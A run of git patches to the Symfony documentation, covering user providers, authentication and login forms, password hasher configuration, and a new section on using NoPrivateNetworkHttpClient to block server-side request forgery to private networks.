+the ``property`` config key. If you want a bit more control over this - e.g. you
+want to find a user by ``email`` *or* ``username``, you can do that by
+implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    use App\Entity\User;
+    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
+    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
+
+    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
+    {
+        // ...
+
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
+        {
+            $entityManager = $this->getEntityManager();
+
+            return $entityManager->createQuery(
+                    'SELECT u
+                    FROM App\Entity\User u
+                    WHERE u.username = :query
+                    OR u.email = :query'
+                )
+                ->setParameter('query', $usernameOrEmail)
+                ->getOneOrNullResult();
+        }
+
+        /** @deprecated since Symfony 5.3 */
+        public function loadUserByUsername(string $usernameOrEmail): ?User
+        {
+            return $this->loadUserByIdentifier($usernameOrEmail);
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The method ``loadUserByIdentifier()`` was introduced to the
+    ``UserLoaderInterface`` in Symfony 5.3.
+
+To finish this, remove the ``property`` key from the user provider in
+``security.yaml``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        class: App\Entity\User
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <entity class="App\Entity\User"/>
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        'class' => User::class,
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
+method on your ``UserRepository`` will be called.
+
+.. _security-memory-user-provider:
+
+Memory User Provider
+--------------------
+
+It's not recommended to use this provider in real applications because of its
+limitations and how difficult it is to manage users. It may be useful in application
+prototypes and for limited applications that don't store users in databases.
+
+This user provider stores all user information in a configuration file,
+including their passwords. Make sure the passwords are hashed properly. See
+:doc:`/security/passwords` for more information.
+
+After setting up hashing, you can configure all the user information in
+``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            backend_users:
+                memory:
+                    users:
+                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+        # ...
+
+.. caution::
+
+    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
+    to choose an encoding without salt (i.e. ``bcrypt``).
+
+.. _security-chain-user-provider:
+
+Chain User Provider
+-------------------
+
+This user provider combines two or more of the other provider types (e.g.
+``entity`` and ``ldap``) to create a new user provider. The order in which
+providers are configured is important because Symfony will look for users
+starting from the first provider and will keep looking for in the other
+providers until the user is found:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+        providers:
+            backend_users:
+                ldap:
+                    # ...
+
+            legacy_users:
+                entity:
+                    # ...
+
+            users:
+                entity:
+                    # ...
+
+            all_users:
+                chain:
+                    providers: ['legacy_users', 'users', 'backend_users']
+
+.. _security-custom-user-provider:
+
+Creating a Custom User Provider
+-------------------------------
+
+Most applications don't need to create a custom provider. If you store users in
+a database, a LDAP server or a configuration file, Symfony supports that.
+However, if you're loading users from a custom location (e.g. via an API or
+legacy database connection), you'll need to create a custom user provider.
+
+First, make sure you've followed the :doc:`Security Guide </security>` to create
+your ``User`` class.
+
+If you used the ``make:user`` command to create your ``User`` class (and you
+answered the questions indicating that you need a custom user provider), that
+command will generate a nice skeleton to get you started::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+    use Symfony\Component\Security\Core\User\UserProviderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        /**
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
+         *
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
+         *
+         * @throws UserNotFoundException if the user is not found
+         */
+        public function loadUserByIdentifier(string $identifier): UserInterface
+        {
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
+        }
+
+        /**
+         * Refreshes the user after being reloaded from the session.
+         *
+         * When a user is logged in, at the beginning of each request, the
+         * User object is loaded from the session and then this method is
+         * called. Your job is to make sure the user's data is still fresh by,
+         * for example, re-querying for fresh User data.
+         *
+         * If your firewall is "stateless: true" (for a pure API), this
+         * method is not called.
+         *
+         * @return UserInterface
+         */
+        public function refreshUser(UserInterface $user)
+        {
+            if (!$user instanceof User) {
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+            }
+
+            // Return a User object after making sure its data is "fresh".
+            // Or throw a UserNotFoundException if the user no longer exists.
+            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
+        }
+
+        /**
+         * Tells Symfony to use this provider for this User class.
+         */
+        public function supportsClass(string $class)
+        {
+            return User::class === $class || is_subclass_of($class, User::class);
+        }
+
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
+    }
+
+Most of the work is already done! Read the comments in the code and update the
+TODO sections to finish the user provider. When you're done, tell Symfony about
+the user provider by adding it in ``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            # the name of your user provider can be anything
+            your_custom_user_provider:
+                id: App\Security\UserProvider
+
+Lastly, update the ``config/packages/security.yaml`` file to set the
+``provider`` key to ``your_custom_user_provider`` in all the firewalls which
+will use this custom user provider.
diff --git a/testing.rst b/testing.rst
index 1b0079be88a..1fe8e409a69 100644
--- a/testing.rst
+++ b/testing.rst
@@ -587,9 +587,9 @@ submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of logging in with real users, it's recommended to create a user only for
-tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
-to load the testing users only in the test database.
+Instead of logging in with real users, it's recommended to create a user
+only for tests. You can do that with `Doctrine data fixtures`_ to load the
+testing users only in the test database.
 
 After loading users in your database, use your user repository to fetch
 this user and use
@@ -1016,6 +1016,7 @@ Learn more
 .. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html

From df4fd60ed93219df44c6cdbe2f66be7168e1988f Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Mon, 11 Oct 2021 14:37:25 +0200
Subject: [PATCH 1222/5766] Add a mention of NoPrivateNetworkHttpClient and
 SSRF to the docs

---
 http_client.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 735c1cd785a..52c9db8e402 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -784,6 +784,28 @@ Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
 :ref:`http_client config reference <reference-http-client>`), but this is not
 recommended in production.
 
+SSRF (Server-side request forgery) Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[SSRF](https://portswigger.net/web-security/ssrf) allows an attacker to induce the backend application to make HTTP requests to an arbitrary domain. These attacks can also target the internal hosts and IPs of the attacked server.
+
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will ensure local networks are made inaccessible to the HTTP client::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
+
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create());
+    // nothing changes when requesting public networks
+    $client->request('GET', 'https://example.com/');
+
+    // however, all requests to private networks are now blocked by default
+    $client->request('GET', 'http://localhost/');
+
+    // the second optional argument defines the networks to block
+    // in this example, requests from 104.26.14.0 to 104.26.15.255 will result in an exception
+    // but all the other requests, including other internal networks, will be allowed
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
+
 Performance
 -----------
 
@@ -1074,7 +1096,7 @@ This behavior provided at destruction-time is part of the fail-safe design of th
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
 the error-handling code (by calling ``$response->getStatusCode()``), you will
-opt-out from these fallback mechanisms as the destructor won't have anything 
+opt-out from these fallback mechanisms as the destructor won't have anything
 remaining to do.
 
 Concurrent Requests

From 244d49874e114f210ada4583b8cf68697bca66fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Oct 2021 16:05:08 +0200
Subject: [PATCH 1223/5766] Tweaks

---
 http_client.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 52c9db8e402..f62c0415b63 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -787,9 +787,17 @@ recommended in production.
 SSRF (Server-side request forgery) Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-[SSRF](https://portswigger.net/web-security/ssrf) allows an attacker to induce the backend application to make HTTP requests to an arbitrary domain. These attacks can also target the internal hosts and IPs of the attacked server.
+.. versionadded:: 5.1
+
+    The SSRF protection was introduced in Symfony 5.1.
+
+`SSRF`_ allows an attacker to induce the backend application to make HTTP
+requests to an arbitrary domain. These attacks can also target the internal
+hosts and IPs of the attacked server.
 
-If you use an ``HttpClient`` together with user-provided URIs, it is probably a good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will ensure local networks are made inaccessible to the HTTP client::
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a
+good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+ensure local networks are made inaccessible to the HTTP client::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
@@ -1932,3 +1940,4 @@ test it in a real application::
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`SSRF`: https://portswigger.net/web-security/ssrf

From 89231a2d369ba63daf517636359f3358e017d7b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Oct 2021 16:06:13 +0200
Subject: [PATCH 1224/5766] Remove versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a5a128a87bc..6c8b687b390 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -775,10 +775,6 @@ recommended in production.
 SSRF (Server-side request forgery) Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The SSRF protection was introduced in Symfony 5.1.
-
 `SSRF`_ allows an attacker to induce the backend application to make HTTP
 requests to an arbitrary domain. These attacks can also target the internal
 hosts and IPs of the attacked server.

From 578c9e5afe9096c960ed216aed3ee101aec379f7 Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 11 Oct 2021 18:39:58 +0200
Subject: [PATCH 1225/5766] Language codes: 'ISO 639-2 alpha-3' mentions
 specified to 'ISO 639-2 alpha-3 (2T)'.

---
 components/intl.rst                | 4 ++--
 reference/forms/types/language.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index d66370218c9..70e602cc1c2 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -69,7 +69,7 @@ Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``Languages`` class provides access to the name of all languages
-according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3`_ list::
+according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
 
@@ -416,4 +416,4 @@ Learn more
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 89c14193a80..c3e47bb7b0c 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -74,7 +74,7 @@ alpha3
 
     The ``alpha3`` option was introduced in Symfony 4.4.
 
-If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_
+If this option is ``true``, the choice values use the `ISO 639-2 alpha-3 (2T)`_
 three-letter codes (e.g. French = ``fra``) instead of the default
 `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``).
 
@@ -156,5 +156,5 @@ The actual default value of this option depends on other field options:
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
 .. _`International Components for Unicode`: http://site.icu-project.org

From 259e12047cdd39fb986c23e8c53edcf2aa8da545 Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 11 Oct 2021 18:54:08 +0200
Subject: [PATCH 1226/5766] Language codes: 'ISO 639-2 alpha-3' mentions
 specified to 'ISO 639-2 alpha-3 (2T)'.

---
 reference/constraints/Language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 0d9522dc882..6c9d81119f7 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -101,7 +101,7 @@ alpha3
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
-`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default
+`ISO 639-2 (2T)`_ three-letter code (e.g. French = ``fra``) instead of the default
 `ISO 639-1`_ two-letter code (e.g. French = ``fr``).
 
 .. include:: /reference/constraints/_groups-option.rst.inc
@@ -129,4 +129,4 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
+.. _`ISO 639-2 (2T)`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes

From df05fdb9e2d41dc2329f24d341a64819727aee85 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 11 Oct 2021 13:08:11 -0400
Subject: [PATCH 1227/5766] Various tweaks to the new security documentation

---
 security.rst                      | 108 +++++++++++++++++-------------
 security/custom_authenticator.rst |  13 ++--
 2 files changed, 66 insertions(+), 55 deletions(-)

diff --git a/security.rst b/security.rst
index 4c065b70e5e..59983e91f05 100644
--- a/security.rst
+++ b/security.rst
@@ -28,6 +28,9 @@ creates a ``security.yaml`` configuration file for you:
     security:
         # https://symfony.com/doc/current/security/experimental_authenticators.html
         enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        password_hashers:
+            Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
         # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
         providers:
             users_in_memory: { memory: null }
@@ -79,7 +82,7 @@ The User
 Permissions in Symfony are always linked to a user object. If you need to
 secure (parts of) your application, you need to create a user class. This
 is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-This class is often a Doctrine entity, but you can also use a dedicated
+This is often a Doctrine entity, but you can also use a dedicated
 Security user class.
 
 The easiest way to generate a user class is using the ``make:user`` command
@@ -324,8 +327,8 @@ User providers are used in a couple places during the security lifecycle:
 **Reload the User from the session**
     At the beginning of each request, the user is loaded from the
     session (unless your firewall is ``stateless``). The provider
-    "refreshes" the user  (e.g. the database is queried again for fresh
-    data), to make sure all user information is up to date (and if
+    "refreshes" the user (e.g. the database is queried again for fresh
+    data) to make sure all user information is up to date (and if
     necessary, the user is de-authenticated/logged out if something
     changed). See :ref:`user_session_refresh` for more information about
     this process.
@@ -341,7 +344,7 @@ Symfony comes with several built-in user providers:
 :ref:`Chain User Provider <security-chain-user-provider>`
     Merges two or more user providers into a new user provider.
 
-The built-in user providers cover most the common needs for applications, but you
+The built-in user providers cover the most common needs for applications, but you
 can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
 .. note::
@@ -350,14 +353,16 @@ can also create your own :ref:`custom user provider <security-custom-user-provid
     in your custom authenticator). All user providers follow this pattern
     for their service ID: ``security.user.provider.concrete.<your-provider-name>``
     (where ``<your-provider-name>`` is the configuration key, e.g.
-    ``app_user_provider``).
+    ``app_user_provider``). If you only have one user provider, you can autowire
+    it using the :class:`Symfony\Component\Security\Core\User\UserProviderInterface`
+    type-hint.
 
 .. _security-encoding-user-password:
 
 Registering the User: Hashing Passwords
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Most applications require a user to login with a password. For these
+Many applications require a user to log in with a password. For these
 applications, the SecurityBundle provides password hashing and verification
 functionality.
 
@@ -382,8 +387,9 @@ First, make sure your User class implements the
         }
     }
 
-Then, configure which password hasher should be used for this class. The
-``make:user`` pre-configured this for you:
+Then, configure which password hasher should be used for this class. If your
+``security.yaml`` file wasn't already pre-configured, then ``make:user`` should
+have done this for you:
 
 .. configuration-block::
 
@@ -393,10 +399,9 @@ Then, configure which password hasher should be used for this class. The
         security:
             # ...
             password_hashers:
-                App\Entity\User:
-                    # Use native password hasher, which auto-selects and migrates the best
-                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
-                    algorithm: auto
+                # Use native password hasher, which auto-selects and migrates the best
+                # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
 
     .. code-block:: xml
 
@@ -414,7 +419,7 @@ Then, configure which password hasher should be used for this class. The
                 <!-- ... -->
                 <!-- Use native password hasher, which auto-selects and migrates the best
                      possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
-                <password-hasher class="App\Entity\User" algorithm="auto"/>
+                <password-hasher class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" algorithm="auto"/>
             </config>
         </srv:container>
 
@@ -422,14 +427,14 @@ Then, configure which password hasher should be used for this class. The
 
         // config/packages/security.php
         use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
         return static function (SecurityConfig $security) {
             // ...
 
             // Use native password hasher, which auto-selects and migrates the best
             // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
-            $security->passwordHasher(User::class)
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
                 ->algorithm('auto')
             ;
         };
@@ -591,7 +596,7 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-Visiting a secured section doesn't necessarily require you to authenticate
+Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
 are public). You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
@@ -769,13 +774,13 @@ Edit the login controller to render the login form:
           }
       }
 
-Don't let this controller confuse you. The form login authenticators
-handles the form submission for you. If the user submits an invalid
-username or password, this controller reads the form submission error from
-the security system (using ``AuthenticationUtils``), so that it can be
-displayed back to the user.
+Don't let this controller confuse you. Its job is only to *render* the form:
+the ``form_login`` authenticator will handle the form *submission* automatically.
+If the user submits an invalid email or password, that authenticator will store
+the error and redirect back to this controller, where we read the error (using
+``AuthenticationUtils``) so that it can be displayed back to the user.
 
-Finally, create the template:
+Finally, create or updaate the template:
 
 .. code-block:: html+twig
 
@@ -790,7 +795,7 @@ Finally, create the template:
         {% endif %}
 
         <form action="{{ path('login') }}" method="post">
-            <label for="username">Username:</label>
+            <label for="username">Email:</label>
             <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
             <label for="password">Password:</label>
@@ -808,15 +813,16 @@ Finally, create the template:
     The ``error`` variable passed into the template is an instance of
     :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
     It may contain sensitive information about the authentication failure.
-    *Never* use ``error.message``, but the ``messageKey`` property instead
+    *Never* use ``error.message``: use the ``messageKey`` property instead,
     as shown in the example. This message is always safe to display.
 
 The form can look like anything, but it usually follows some conventions:
 
 * The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
+  that's what you configured as the ``check_path`` under the ``form_login`` key in
+  ``security.yaml``;
+* The username (or whatever your user's "identifier" is, like an email) field has
+  the name ``_username`` and the password field has the name ``_password``.
 
 .. tip::
 
@@ -829,20 +835,21 @@ The form can look like anything, but it usually follows some conventions:
     :ref:`form_login-csrf` on how to protect your login form.
 
 And that's it! When you submit the form, the security system automatically
-checks the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
+reads the ``_username`` and ``_email`` POST parameter, loads the user via
+the user provider, checks the user's credentials and either authenticates the
+user or sends them back to the login form where the error can be displayed.
 
 To review the whole process:
 
-#. The user tries to access a resource that is protected;
+#. The user tries to access a resource that is protected (e.g. ``/admin``);
 #. The firewall initiates the authentication process by redirecting the
    user to the login form (``/login``);
 #. The ``/login`` page renders login form via the route and controller created
    in this example;
 #. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
+#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+   request, checks the user's submitted credentials, authenticates the user if
+   they are correct, and sends the user back to the login form if they are not.
 
 .. _form_login-csrf:
 
@@ -940,8 +947,8 @@ JSON Login
 
 Some applications provide an API that is secured using tokens. These
 applications may use an endpoint that provides these tokens based on a
-username and password. The JSON login authenticator helps you create this
-functionality.
+username (or email) and password. The JSON login authenticator helps you create
+this functionality.
 
 Enable the authenticator using the ``json_login`` setting:
 
@@ -957,6 +964,7 @@ Enable the authenticator using the ``json_login`` setting:
                 main:
                     # ...
                     json_login:
+                        # app_login is a route we will create below
                         check_path: api_login
 
     .. code-block:: xml
@@ -1045,7 +1053,7 @@ token (or whatever you need to return) and return the JSON response:
     -     public function index(): Response
     +     public function index(#[CurrentUser] User $user): Response
           {
-    +         $token = ...; // somehow create a token for $user
+    +         $token = ...; // somehow create an API token for $user
     +
               return $this->json([
     -             'message' => 'Welcome to your new controller!',
@@ -1065,12 +1073,14 @@ token (or whatever you need to return) and return the JSON response:
 That's it! To summarize the process:
 
 #. A client (e.g. the front-end) makes a *POST request* with the
-   ``Content-Type: application/json`` header to ``/api/login``:
+   ``Content-Type: application/json`` header to ``/api/login`` with
+   ``username`` (even if your identifier is actually an email) and
+   ``password`` keys:
 
    .. code-block:: json
 
         {
-            "username": "dunglas",
+            "username": "dunglas@example.com",
             "password": "MyPassword"
         }
 #. The security system intercepts the request, checks the user's submitted
@@ -1082,7 +1092,7 @@ That's it! To summarize the process:
    .. code-block:: json
 
         {
-            "user": "dunglas",
+            "user": "dunglas@example.com",
             "token": "45be42..."
         }
 
@@ -2510,21 +2520,23 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
+In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+you user class (if you have any) to make sure that all the fields necessary are
+serialized.
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Or, if you need more control over the "compare users" process, make your User class
 implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
+Then, your ``isEqualTo()`` method will be called when comparing users instead
+of the core logic.
 
 Security Events
 ---------------
 
-During the authentication process, multiple events are dispatched to
-hook into the process or customize the response sent back to the user. You
+During the authentication process, multiple events are dispatched that allow you
+to hook into the process or customize the response sent back to the user. You
 can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
 for these events.
 
@@ -2542,7 +2554,7 @@ Authentication Events
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
     Dispatched after the passport was validated and the authenticator
-    created the security token. This can be used in advanced use-cases
+    created the security token (and user). This can be used in advanced use-cases
     where you need to modify the created token (e.g. for multi factor
     authentication).
 
@@ -2553,12 +2565,12 @@ Authentication Events
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
     Dispatched after authentication was fully successful. Listeners to this
-    event can modify the response send back to the user.
+    event can modify the response sent back to the user.
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
-    Dispatched after an ``AuthenticationException`` was thrown during the
+    Dispatched after an ``AuthenticationException`` was thrown during
     authentication. Listeners to this event can modify the error response
-    send back to the user.
+    sent back to the user.
 
 Other Events
 ~~~~~~~~~~~~
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 1537d76f395..bbbd9ce8e23 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -1,7 +1,7 @@
 How to Write a Custom Authenticator
 ===================================
 
-Symfony comes with :ref:`many autenticators <security-authenticators>` and
+Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
 mechanism that doesn't exists yet or you need to customize one. In such
@@ -146,9 +146,9 @@ into a security
 
 .. tip::
 
-    If you want to customize the login form, you can also extend from the
+    If your custom authenticator is a login form, you can extend from the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead.
+    class instead to make your job easier.
 
 .. _security-passport:
 
@@ -166,7 +166,7 @@ or if "remember me" functionality should be enabled.
 
 The default
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-requires a user and credentials.
+requires a user and some sort of "credentials" (e.g. a password).
 
 Use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
@@ -250,8 +250,7 @@ Self Validating Passport
 If you don't need any credentials to be checked (e.g. when using API
 tokens), you can use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-This class only requires a ``UserBadge`` object and optionally `Passport
-Badges`_.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
 
 Passport Badges
 ---------------
@@ -268,7 +267,7 @@ the following badges are supported:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
     This is used to automatically upgrade the password to a new hash upon
-    successful login. This badge requires the plaintext password and a
+    successful login (if needed). This badge requires the plaintext password and a
     password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
 
